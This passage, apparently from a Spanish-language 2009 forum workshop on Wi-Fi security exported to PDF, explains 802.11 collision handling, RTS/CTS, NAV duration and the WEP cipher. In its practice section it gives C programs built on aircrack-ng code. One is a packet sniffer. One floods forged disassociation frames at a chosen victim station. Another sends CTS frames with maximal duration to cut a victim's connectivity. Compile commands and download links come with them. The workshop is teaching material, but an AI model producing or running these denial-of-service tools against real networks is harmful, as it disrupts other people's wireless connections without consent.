Haremos un descanso. Un tiempo para practicar, resolver dudas y comentarios ante lo expuesto. Tras ello, os resumo un poco lo que vendr despus: * Anlisis del Cifrado WEP * Ataques Denegacin de Servicio * Ataques contra WEP: Ataque texto plano, flipping, ataques induccin y reaccin, modificacin, reinyeccin. * Generacin de keystream "personalizadas" * Otros ataques: FMS, chop-chop, fragmentacin * Elaboracin de programas "a medida" para relizar el/los ataques. Podrs pensar que todo esto "ya lo hace aircrack" (bueno no todos) pero es que nosotros... los vamos a realizar "a mano" y luego " a mquina", ya sea con aircrack o con nuestras propias herramientas. Lo que importa no es cmo se llevar a cabo, importa cmo se hace!!!! Ms adelante llegar WPA, EAP, etc... estamos empezando... PD: Os recuerdo que este hilo est cerrado para conservar una mewjor claridad de las explicaciones. Los comentarios, dudas, correccin de errores, etc.. los haremos en este otro: http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5591
(http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5591)
Saludos. Arriba (#top)

Mar Jul 14, 2009 6:41 pm
(#p56096)
Seguimos con el Taller.

Ya s os prometa descanso, continuar con WEP, etcpero. Como quiero que empecemos a tocar bola cuanto antes vamos a seguir y no precisamente con lo prometido (bueno casi s) En este post vamos a sentar los principios de los desafos que han de sortear las estaciones WiFi para acceder al medio. Gracias a esta informacin vamos a entender algunos de los ataques de Denegacin de Servicio (DoS). Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con poca claridad. En las comunicaciones por cable (lase Ethernet que a todos nos suena mas) es razonable pensar que cuando una trama se transmite el receptor la recibe correctamente.
30/10/2011
Page 19 of 94
Vale, sabemos que no siempre es as, que pueden existir colisiones sobretodo cuando usamos Hubs en lugar de switches, an con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones tardas, difciles de diagnosticar. Una colisin no es otra cosa que el envo simultneo de informacin por dos o mas estaciones en la red. Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace un silencio para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si recordis el Taller TCP/IP, era lo que llamaba el polica de la red, que pone orden en el trfico, etc Las comunicaciones por Radio Frecuencia no estn libres de colisiones, ni mucho menos, sobretodo estas que llamamos WiFi. Adems, el protocolo 802.11 trabaja de una forma especial, 802.11 incorpora un mecanismo de asentimiento positivo de forma que TODAS las tramas enviadas deben confirmadas con un ACK positivo por el receptor, de otra forma la trama se considera perdida. Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS. Ciertamente me sorprendi que en el hilo del tkiptun: http://www.wadalbertia.org/phpBB2/viewt ... highlight=
(http://www.wadalbertia.org/phpBB2/viewtopic.php? t=5556&start=8&postdays=0&postorder=asc&highlight=)
Cuando dije: Otra cosa!!! que me olvid al hablar de "las ventajas" de usar QoS en este tipo de ataques... Si est habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"
Nadie pregunt por qu con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente uno!!!! Claro, que a lo mejor ya lo sabais y por eso no se pregunt nada Bueno, para los que no lo supieran: La razn de ello viene por esto que comentamos de los ACK positivos determinadas comunicaciones QoS usan una rfaga y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un ACK por cada una de ellas, bastar un ACK positivo para las 15 bueno, que me estoy saliendo del tema El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK
Y las preguntas con trampa de rigor 1.- Y Si se pierde la primera trama transmitida?? 2.- Y si lo que se pierde es el ACK???
30/10/2011
Page 20 of 94
Con perder me refiero a interferencias, problemas de comunicacin, etcvamos que no llegan al destino... Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una trama lo est siendo.
Pero volvamos a lo que nos ocupa las colisiones. Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA. Sin embargo no es suficiente por s slo y te pongo un ejemplo (una imagen)
Equipo 1 y equipo 2 estn al alcance Equipo 2 y Equipo 3, tambin lo estn Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque no estn al alcance Adems, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso en la zona amarilla es una colisin. Esto es el equivalente de las colisiones tardas en Ethernet, aqu los llamamos Nodos ocultos, es decir, estaciones que pertenecen al medio pero que estn tan alejadas unas de otras que la comunicacin directa entre ellas no es posible. Por si fuese poco, la mayora de las tarjetas inalmbricas operan en half-duplex, esto es, no pueden enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas) Si juntamos todo esto el equipo 1 y el equipo 3 pueden no percatarse de que existe colisin!!! Cmo solucionar esto? Pues con algo de lo que seguro que has odo hablar (o seguro que leer o ver en las configuraciones de tarjetas y puntos de acceso): Enviar tramas ce control RTS y CTS. RTS es Request to Send, tambin hay quien lo llama ready to send o si lo prefieres preparado para trnasmitir CTS es Clear to Send o Listo para transmitir o permiso para transmirir Ambos aseguran que el canal est limpio y preparado para transmitir de tal forma que otras estaciones se callan hasta que el medio est libre para poder enviar sus tramas. Luego la imagen correcta de acceso sera:
Y si existiese un nodo oculto como en el ejemplo anterior, quedara as:
30/10/2011
Page 21 of 94
Como ves en la figura anterior, el nodo oculto recibe un CTS de aqul equipo que s es accesible y se calla. Ni que decir tiene que todo esto tiene una temporizacin (Timing) y un umbral (threshold). El timing se puede controlar mediante ajustes DCF, PCF o HCF que no son otra cosa que cmo va a funcionar el protocolo CSMA/CA. El umbral tambin se puede ajustar en cada tarjeta, as por ejemplo las tramas cortas pueden ser enviadas inmediatamente mientras que las largas utilizarn RTS y CTS antes de ser enviadas. Cortas y largas? cmo de cortas o cmo de largas? Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirn inmediatamente y las que sean mas largas que el umbral, usarn los mtodos RTS y CTS. DCF es el modo por defecto del estndar 802.11 y funciona igual que ethernet: Escuchar antes de hablar y si hay silencio se enva. Si hay colisin, se entrega un tiempo aleatorio de espera a cada estacin y vuelta a empezar. PCF utiliza lo que se llama Puntos de Coordinacin que son los propios puntos de acceso y difiere en el mtodo anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones. HCF Permite a las estaciones balancear el trfico en funcin de la mejor calidad de los servicios, encola los paquetes dependiendo del tipo de aplicacin es.. QoS. Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisin sin interrupciones y con el mnimo de sobrecarga. Y si piensas que aqu est todo dicho pues falta otra cosa: NAV. NAV es un Vector de Localizacin de Red, lo utiliza CSMA/CA y la pareja CTS/RTS pero tambin se inicializa con el campo Duracin de la Cabecera MAC: Recordemos como era una cabecera MAC de una trama de datos:
Como ves, existen 2 bytes despus del Frame Control que representan la duracin. La duracin de que??? Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama. Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el ms significativo) est a cero el valor del resto de bits ser el valor con el que se inicializa NAV.
30/10/2011
Page 22 of 94
Es decir, NAV como mucho puede valer 2^15 = 32.768 O dicho de otra forma, el tiempo mximo que se puede reservar para la retransmisin de una trama es de 32.768 qu? Microsegundos. Todas las estaciones de la red monitorizan las tramas y las cabeceras MACs, de tal forma que durante la transmisin de la trama de otro equipo, leen la duracin de la misma y aaden ese tiempo extra como tiempo de contencin antes de enviar sus datos. Adems puede haber ms informacin en el campo Duracin, por ejemplo, si los bits 15 y 14 estn a uno indica un modo especial llamado PS-Poll que se usa en combinacin de otros valores para la administracin de energa y despertar a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento. Vale y ahora que?? Pues como vamos a empezar con las Denegaciones de Servicio porqu no usar alguna de estas caractersticas para ello. Por ejemplo, enviar tramas con una duracin de 32.768 que dijimos que eran una treintavo de segundo bueno pues menudo DoS, no?? Jajaja, Y si enviamos unos cientos (o miles) de paquetes de esos ?? Qu pasar?? Lo imaginas, no??? Y si inundamos la red con CTS/RTS??? Pues eso mismo, son ejemplos no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen otras formas de fastidiar sin necesidad de echar a la gente a patadas Despus de esta explicacin pasaremos a la prctica ;) Arriba (#top)
Mar Jul 14, 2009 6:42 pm
Practicando DoS en 802.11 (#p56097)
Practicando DoS en 802.11

1.- La base de los programas que usaremos. 2.- Creacin de un esnifer sencillo 3.- Envo de tramas de desautenticacin/disociacin 4.- Inundacin RTS/CTS con duracin manipulada
1.- La base de los programas que usaremos.

Vamos a usar parte del cdigo fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos, as el trabajo duro ya est hecho y de paso, vamos comprendiendo cmo esta gente lleg a donde ha llegado Estos scripts no son nada modulares ni exportables, no contemplan los numerosos errores de programacin que seguro que tienen, igualmente seguro que sobran porciones de cdigo, pero caray!! Que esto no es un curso de C, as que perdonad por la falta de rigor en la programacin y centrmonos en su funcionamiento
30/10/2011
Page 23 of 94
Usaremos airodump-ng para husmear el medio y luego iremos afinando los ejemplos que nos ocupan. Tambin es [b]conveniente [/b]que ests familiarizado con algn esnifer. Lo primero nos descargaremos la suite de aircrack-ng y la instalamos: http://download.aircrack-ng.org/aircrac ... rc3.tar.gz (http://download.aircrack-ng.org/aircrack-ng1.0-rc3.tar.gz)
(#) (#) Cdigo: tar xvfz aircrack-ng-1.0-rc3.tar.gz cd aircrack-ng-1.0-rc3 cd src make unstable=true
En este punto ya podemos usarla pero veamos nuestro primer programa:
2.- Crear un pequeo esnifer para examinar el trfico. Programa wifiesnif.c

En este ejemplo haremos lo siguiente: Abrir la tarjeta inalmbrica para poder capturar y enviar paquetes (el envo en este ejemplo no est implementado) Capturar paquetes en el aire Mostrar los paquetes capturados Analizar el campo Frame Control de la cabecera MAC Este mismo script podramos usarlo para ir mas all, para analizar todo el paquete, los datos, el tipo de cifrado, etc pero para que no sea muy largo lo dej tan slo en: Obtener los bytes de FC Mostrar si se trata de un FromDS, toDS, WDS ad-hoc Mostrar el tipo de trama: Administracin Datos o Control Averiguar si se trata de un paquete cifrado o no Se podran implementar nuevas consultas, todas la que desees, luego te pongo deberes Te recuerdo que existirn lneas del tipo #include, #define y otras que pueden no ser necesarias, estn porque poco a poco ir creciendo el programa y se necesitarn ms adelante. Veamos lo bsico del cdigo: Funcin dump_packet (#) (#) Cdigo: void dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla { int i=0; printf("\n");
30/10/2011
Page 24 of 94
for(i=0; i<len; i++) { if(i>0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n"); }
La utilizaremos para mostrar por pantalla el/los paquetes capturados Funcin read_packet (#) (#) Cdigo: int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; }
Se encarga de capturar el trfico y retorna como valor el tamao del paquete ledo Estas dos funciones anteriores son prcticamente las mismas que usan la suite de aircrack. Funcin captura_datos_FC (#) (#) Cdigo: int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap { char elegido[1]; int otromas, estado; caplen=0; while( 1 )
30/10/2011
Page 25 of 94
{ caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if(caplen <= 0) continue; // si la longitud no es vlida. no se capturaron paquetes dump_packet (h80211,caplen); printf( "\nPulsa Ctrl+C para cancelar el anlisis. Analizar este paquete (s/n) ?" ); otromas=0; while(otromas==0) otromas = scanf( "%s", elegido ); usleep(300); if( elegido[0] != 's' && elegido[0] != 'S' ) continue; printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211 [1]); //muestra los 2 bytes de FC estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3) switch (estado) { case 0: // comunicacions adhoc y tramas de control/administracin printf ("\t......FromDS : 0\n"); printf ("\t......toDs : 0\n"); break; case 1: // paquete con direccin HACIA el sistema de districubin printf ("\t......FromDs : 0\n"); printf ("\t......toDS : 1\n"); break; case 2: // paquete enviado DESDE el sistema de distribucin printf ("\t......FromDs : 1\n"); printf ("\t......toDS : 0\n"); break; case 3: // paquete enviado en WDS printf ("\t......FromDS : 1\n"); printf ("\t......toDs : 1\n"); break; } // Comprobamos el tipo de trama (datos, administracin o control) if ((h80211[0] & 0x0C) == 0x08) printf ("\t......Trama : de DATOS\n"); if ((h80211[0] & 0x0C) == 0x00) printf ("\t......Trama : de ADMINISTRACION\n"); if ((h80211[0] & 0x0C) == 0x04) printf ("\t......Trama : de CONTROL\n"); // Averiguamos si se trata de un paquete con el bit de cifrado activado
30/10/2011
Page 26 of 94
if ((h80211[1] & 0x40) == 0x40) { printf ("\t......Cifrado: SI\n"); } else { printf ("\t......Cifrado : NO\n"); } } return( caplen ); }
Esta funcin analiza el paquete capturado mediante read_packet usando un array llamado h80211 [4096] como contendor de los bytes en hexadecimal que se han ledo. De esta forma, por ejemplo, los valores de Frame Control estarn en h80211[0] y en h80211[1], la duracin en h80211[2] y h80211[3], etc Creo que con los comentarios incluidos en el propio cdigo fuente es suficiente para que lo comprendamos a estas alturas, no?? Y por ltimo, la funcin main que es el inicio del programa: (#) (#) Cdigo: int main( int argc, char *argv[] ) // inicio del programa { int caplen; //Comprueba el paso de parmetros if( argc != 2 ) { printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0 \n\n"); exit( 0 ); } /* Abrir Interface wifi para enviar/recibir trfico */ opt.iface_out = argv[1]; _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); _wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); wi_get_mac(_wi_out, dev.mac_out);
30/10/2011
Page 27 of 94
/* drop privileges */ setuid( getuid() ); /***************************************/ /* Llamada al esnifer */ /***************************************/ caplen=0; caplen=captura_datos_FC(caplen); exit(0); }
Vamos, est claro lo que hace, no?? No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cmo abrir la interface wifi, pero s es importante que comprendas bien la funcin captura_datos_FC y cmo se averiguan los estados de toDS, FromDS, wep, etc El cdigo completo lo tienes aqu: http://www.megaupload.com/?d=0SMDIKFJ
(http://www.megaupload.com/?d=0SMDIKFJ)
Gurdalo junto con los otras fuentes de aircrack (as ser mas fcil compilarlo) por ejemplo con el nombre wifiesnif.c Para compilarlo: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o wifiesnif.o wifiesnif.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude wifiesnif.o common.o crypto.o -o wifiesnif -Losdep -losdep lssl -lcrypto
y ya est, lo lanzamos:: (#) (#) Cdigo: bt src # wifiesnif eth1 Pulsa Ctrl+C para cancelar el anlisis. Analizar este paquete (s/n) ?n 08 00 C5 F0 04 24 41 16 E5 95 6C AE 1C B6 15 43 A4 D0 00 41 9D 2B AF 0B 00 03 CA 54 AB D9 16 5B 7C 1F BC F1 B6 80 B1 A2 27 1A 41 88 17 41 C2 25 03 2A 09 B1 D9 E4 5D 21 25 24 31 2D 00 00 84 E1 E2 EE 17 00 05 F8 03 DC 9A 13 1D A5 6E 0B C3 F5 55 47 7B C9 D6 7C 92 7D CC 45 B9 F2 59 58 F1 48
30/10/2011
Page 28 of 94
55 6D 58 55 Pulsa Ctrl+C para cancelar el anlisis. Analizar este paquete (s/n) ?s Frame Control: ......FromDs : ......toDS : ......Trama : ......Cifrado: D4 00 00 00 08:41 0 1 de DATOS SI D6 B9
00 17 9A C3
Pulsa Ctrl+C para cancelar el anlisis. Analizar este paquete (s/n) ?s Frame Control: ......FromDS : ......toDs : ......Trama : ......Cifrado: . . D4:00 0 0 de CONTROL NO
3.- Denegacin de Servicios mediante el envo de tramas de Disociacin o desautenticacin.

Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados. Usaremos airodump y as fijar nuestro objetivo, recolectar la informacin necesaria y luego preparar nuestro script con los parmetros adecuados. Supongamos que lanzamos airodump mas o menos as (#) (#) Cdigo: bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D CH 1 ][ Elapsed: 0 s ][ 2009-07-14 09:47 PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
BSSID AUTH ESSID 00:16:B6:41:03:5D TallerWIFI BSSID
78
16
48
WEP
WEP
STATION
PWR
Lost
Packets
Probes
30/10/2011
Page 29 of 94
00:16:B6:41:03:5D
00:17:9A:C3:D6:B9
75
All vemos las macs del punto de acceso (BSSID) y de la vctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c En este ejemplo, necesitaremos una funcin nueva que nos permita lanzar el/los paquetes a la red esta es: send_packet (#) (#) Cdigo: int send_packet(void *buf, size_t count) // envio de paquetes WiFi { struct wif *wi = _wi_out; if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; } perror("wi_write()"); return -1; } return 0; }
Y tambin la funcin main cambia con respecto al anterior, esta es: (#) (#) Cdigo: int main( int argc, char *argv[] ) // inicio del programa { int z; //Comprueba el paso de parmetros if( argc != 2 ) { printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n"); exit( 0 ); } /* Abrir Interface wifi para enviar/recibir trfico */ opt.iface_out = argv[1]; _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out);
30/10/2011
Page 30 of 94
_wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); wi_get_mac(_wi_out, dev.mac_out); /* drop privileges */ setuid( getuid() ); unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la vctima unsigned char DISO[26]; // Solicitamos la entrada de MAC's por pantalla printf ("\nEscribe la MAC del Punto de Acceso --------> "); scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap [2],&mac_ap[3],&mac_ap[4],&mac_ap[5]); printf ("\nEscribe la MAC de la Estacin a Disociar --> "); scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl [2],&mac_cl[3],&mac_cl[4],&mac_cl[5]); /***************************************/ /* Construimos la trama de Disociacin */ /***************************************/ // FRAME CONTROL bytes 0 y 1 DISO[0]=0xA0; // Esto es Disociacin!!! tambin podemos usar 0xC0 que sera desautenticacin!!! DISO[1]=0x00; // DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C DISO[2]=0X3c; DISO[3]=0X02; // MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9) for (z=0;z<6;z++) DISO[4+z]=mac_cl[z]; // MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15) for (z=0;z<6;z++) DISO[10+z]=mac_ap[z]; // MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21) for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];
30/10/2011
Page 31 of 94
// Nmero de Fragmento y nmero de secuencia bytes 22 y 23 DISO[22]=0x00; DISO[23]=0x00; // Razn y Estado de la disociacin bytes 24 y 25 DISO[24]=0x04; // La razn 4 significa: El tiempo de inactividad expir y la estacin fue disociada. DISO[25]=0x00; // Estado 0 significa: satisfactorio // Mostramos en pantalla la trama a enviar printf ("\nTrama a enviar" "\n***** * ******\n"); dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado printf("\nPulsa Ctrl+C para cancelar el ataque\n\n"); z=1; while(1) { send_packet(DISO,26); usleep(20000); printf ("\rEnviando trama nmero %i \r",z); fflush( stdout ); z++; } exit(0); }
Al igual que antes, hay muy poco que explicar ya que los comentarios en el cdigo hablan por s mismos observa cmo se construye la trama mal intencionada y que se almacena en un array que he llamado DISO[] Luego, lo nico que hay que hacer es enviar esos datos almacenados mediante la funcin send_packet que hablbamos. Para compilarlo (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o dos01.o dos01.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude dos01.o common.o crypto.o -o dos01 -Losdep -losdep -lssl lcrypto
30/10/2011
Page 32 of 94
y ahh!!! El cdigo fuente completo lo descargis en: http://www.megaupload.com/?d=MPEXQ8RN

(http://www.megaupload.com/?d=MPEXQ8RN)
4.- Denegacin de Servicio mediante tramas manipuladas CTS y ataque por duracin.
Recuerda lo que hablbamos de la duracin del tipo asignado para transmitir esa trama, y tambin de las tramas CTS para limpiar el medio y que otras estaciones callen Este ataque combina las dos funciones del comportamiento de las redes WiFi. El programa utiliza las funciones que ya hemos venido usando, en este caso send_packet y dump_packet, lo que cambia en esta ocasin es la funcin main: (#) (#) Cdigo: int main( int argc, char *argv[] ) // inicio del programa { unsigned char CTS_RTS[10]; //array que almacena la trama CTS unsigned int mac_cl[6]; // aaray que contendr la mac del equipo vctima o broadcast int z; // variable para distintos usos //Comprueba el paso de parmetros if( argc != 2 ) { printf("\nUso: dos02 interface\n\nEjemplo: dos02 wlan0\n\n"); exit( 0 ); } /* Abrir Interface wifi para enviar/recibir trfico */ opt.iface_out = argv[1]; _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); _wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); wi_get_mac(_wi_out, dev.mac_out); /* drop privileges */ setuid( getuid() ); printf ("\nEscribe la MAC de la Estacin Vctima --> "); scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl [2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
30/10/2011
Page 33 of 94
/***************************************/ /* Construimos la trama RTS_CTS */ /***************************************/ // FRAME CONTROL bytes 0 y 1 CTS_RTS[0]=0xC4; // Esto es CTS CTS_RTS[1]=0x02; // FromDs activado (la trama se enva DESDE el punto de acceso al cliente) // Duracin bytes 2 y 3 Jugamos con la mxmima, 32767 aprox 1/30 seg CTS_RTS[2]=0Xff; CTS_RTS[3]=0X7f; // MAC DESTINO -- LA DE LA VICTIMA o BROADCAST bytes 4,5,6,7,8 y 9 for (z=0;z<6;z++) CTS_RTS[4+z]=mac_cl[z]; // Volcamos a pantalla la trama a enviar printf ("\nTrama a enviar" "\n***** * ******\n"); dump_packet(CTS_RTS,10); //Volcamos el paquete a enviar por pantalla para ver su encapsulado printf("\nPulsa Ctrl+C para cancelar el ataque\n\n"); // Envo de tramas CTS con duracin manipulada z=1; while(1) { send_packet(CTS_RTS,10); usleep(300); printf ("\rEnviando trama nmero %i \r",z); fflush( stdout ); z++; } exit(0); }
El array CTS_RTS contiene la trama a enviar de tan slo 10 bytes de longitud, observa tambin la lnea donde jugamos con la duracin de la misma, la mxima posible segn lo que estudiamos antes. El resultado final tras la ejecucin del programa ser que la estacin vctima pierde la conectividad (eso s, antes de ello, sus paquetes de demoran y demoran en el envo/recepcin) te aconsejo que pruebes a hacer un ping constante desde la vctima a cualquier sitio mientras dura
30/10/2011
Page 34 of 94
el ataque y comprobars que el tiempo que tarda en enviarlo es muy alto. Despus de unos cuantos miles de esos paquetes perder del todo la comunicacin. El link para descargar el cdigo (lo llam dos02.c) es: http://www.megaupload.com/? d=TK8S6P4W (http://www.megaupload.com/?d=TK8S6P4W) Y la compilacin: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o dos02.o dos02.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude dos02.o common.o crypto.o -o dos02 -Losdep -losdep -lssl lcrypto
Y antes de despedir esta parte los deberes. Modificar el cdigo de wifiesnif.c para que nos diga (en el caso de que el paquete est cifrado) con qu tipo de cifrado nos topamos, esto es que diga si es WEP o WPA. (tendrs que investigar un poco por tu cuenta) Modificar el cdigo de wifiesnif.c para que nos diga si se trata de una trama QoS siempre que sea una trama de datos Arriba (#top)
Lun Jul 27, 2009 1:09 am
Cifrado WEP (#p56242)
WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable)

WEP es uno de los mtodos utilizados para cifrar las comunicaicones inalmbricas. Es un algoritmo opcional, nada ni nadie obliga su utilizacin y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre ser mejor que nada. Desde los inicios del estndar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes. Est implementado en la totalidad de las tarjetas inalmbricas (y puntos de acceso) y en muchos casos a nivel de MAC no slo por software. El cifrado de datos no garantiza el proceso de autenticacin, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticacin "abbierta" o mediante clave compartida. En el modo abierto una estacin que recibe una solicitud de comunicacin puede conceder la autorizacin de acceso a la red a cualquiera o slo aquellas que estn incluidas en una "lista
30/10/2011
Page 35 of 94
blanca", esa lista blanca no es otra cosa que una relacin de MACs de las estaciones a las que les est permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC. Por tanto, en el modo abierto tenemos dos formas de autorizacin: abierta y sin autorizacin abierta y con filtrado de MAC .En un sistema de clave compartida, slo aquellas estaciones que posean una llave cifrada sern autenticadas antes de proceder al cifrado o la comunicacin. El sistema de autenticacin puede ser un equipo externo (un servidor de autenticacin tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso. Ni que decir tiene que un sistema de autenticacin mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto. Recuerda: La autenticacin es un paso diferente al cifrado. Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticacin) decimos que es una red en modo seguro. De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticacin es la forma adecuada de validar qu estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro. WEP se desarroll para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estndar 802.11, as como para proporcionar control de acceso mediante mecanismos de autenticacin. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como caracterstica estndar opcional.
El Cifrado WEP.
WEP utiliza una clave secreta compartida entre una estacin inalmbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estacin y el punto de acceso pueden ser cifrados utilizando esta clave compartida. El estndar 802.11 no especifica cmo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estacin. En la prctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado. Para proteger el texto cifrado frente a modificaciones no autorizadas mientras est en trnsito, WEP aplica un algoritmo de comprobacin de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobacin de integridad (ICV) que se aade al final de cada trama a transmitir. Nota aclaratoria acerca del ICV ( CRC32) En muchos lugares (libros, webs, foros, etc..) encontrars que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrars que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante
30/10/2011
Page 36 of 94
del algoritmo RC4). Ya igual es un poco [i]trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:[/i] Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se aade al final de los datos cifrados.
Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se aade al final de de los datos cifrados.
Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se aade al final de los datos cifrados.
Lo que est claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y tambin est claro que se aaden al final del paquete cifrado pero Se aaden "sin mas"? (caso a) Se aaden tras aplicarle RC4? ) (caso b? Se aaden tras aplicarle un keystream de RC4? (caso c) Cual es el "bueno"? Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobacin para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido. No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imgenes, SSL, etc es sencillamente eso, una forma de constatar que no hubo errores en la operacin (escritura, envo, compresin, etc..) y en algunos casos tambin podemos "recuperar" parte de la informacin daada recalculando el CRC Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duracin, MACs, nmero de secuencia y QoS (si lo hay) no se incluyen en el CRC32. Adems, tenemos que aadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicializacin) Este IV se aade al final de la cabecera MAC y son 4 bytes. Este IV TAMPOCO forma parte del CRC32. La trama a enviar de un paquete WEP tendra esta forma ms o menos:
30/10/2011
Page 37 of 94
